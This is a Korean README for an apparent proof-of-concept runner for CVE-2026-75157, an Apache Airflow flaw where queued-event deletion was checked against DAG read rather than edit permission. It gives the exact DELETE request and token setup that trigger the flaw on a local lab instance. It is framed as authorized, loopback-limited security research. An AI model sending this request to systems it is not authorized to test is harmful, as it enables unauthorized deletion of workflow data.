
CVE-2026-75157에 대한 독립 실행형 인가 범용 HTTP PoC
3.3.2 이전 버전의 Apache Airflow 큐 이벤트(queued-events) 권한 부여 취약점에 대한 승인된 보안 연구 PoC입니다.
본인이 소유하거나 명시적으로 테스트 권한을 부여받은 Airflow 인스턴스에 대해서만 실행하십시오. 기본 러너는 루프백이 아닌 대상(non-loopback target)을 거부합니다. 이 저장소에는 스캐닝, 대상 열거, 지속성, 자격 증명 탈취 또는 파괴적인 페이로드 로직이 포함되어 있지 않습니다.
README.md
poc.py
poc.py는 범용적이고 대상 인식형(target-aware) HTTP 요청 러너입니다. 호스트를 하드코딩하는 대신 대상 URL, 메서드, 경로, 헤더, 본문, 인증 소스 및 예상 결과를 명령줄에서 받습니다.
로컬 Airflow 랩에 대한 상태 확인:
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/monitor/health \
--method GET \
--expect-status 200 \
--expect-body healthy
이미 준비된 로컬 취약 Airflow 인스턴스에 대한 CVE 트리거:
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
--method DELETE \
--bearer-env AIRFLOW_POC_TOKEN \
--expect-status 204
토큰은 DAG 읽기 액세스와 Assets 삭제 액세스를 가진 일회용 주체(disposable principal)에 속해야 합니다. 예상되는 취약 동작은 제한된 주체가 큐 이벤트를 삭제할 수 있다는 것입니다. Airflow 3.3.2 이상에서는 해당 주체가 DAG 편집 액세스도 가지고 있지 않은 한 동일한 요청을 거부해야 합니다.
--target URL 필수 절대 HTTP(S) 대상
--path PATH --target에 결합되는 선택적 경로
--method METHOD GET, POST, PUT, PATCH, DELETE, HEAD
--header 'Name: Value' 반복 가능한 요청 헤더
--bearer-env ENV 출력하지 않고 ENV에서 베어러 토큰 읽기
--json JSON JSON 요청 본문
--body-file FILE 원시 요청 본문
--expect-status STATUS 반복 가능한 예상 상태 검증
--expect-body TEXT 반복 가능한 응답 본문 검증
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback 승인된 비랩(non-lab) 대상에 대한 명시적 옵트인
러너는 검증 통과 시 종료 코드 0, 범위/전송/인수 오류 시 1, HTTP 검증 실패 시 2를 반환합니다. Authorization 및 쿠키 값은 출력에서 마스킹됩니다.
Airflow 3.3.2 이전에는 큐 이벤트 DELETE 라우트가 DAG 축을 편집 권한이 아닌 읽기 권한으로 검사했습니다. 수정 사항은 DAG 권한 부여 요구 사항을 쓰기 수준 권한으로 변경합니다. 이 PoC는 실제 HTTP 요청을 전송하며, 랩 사용자나 데이터베이스 픽스처를 생성하지 않습니다.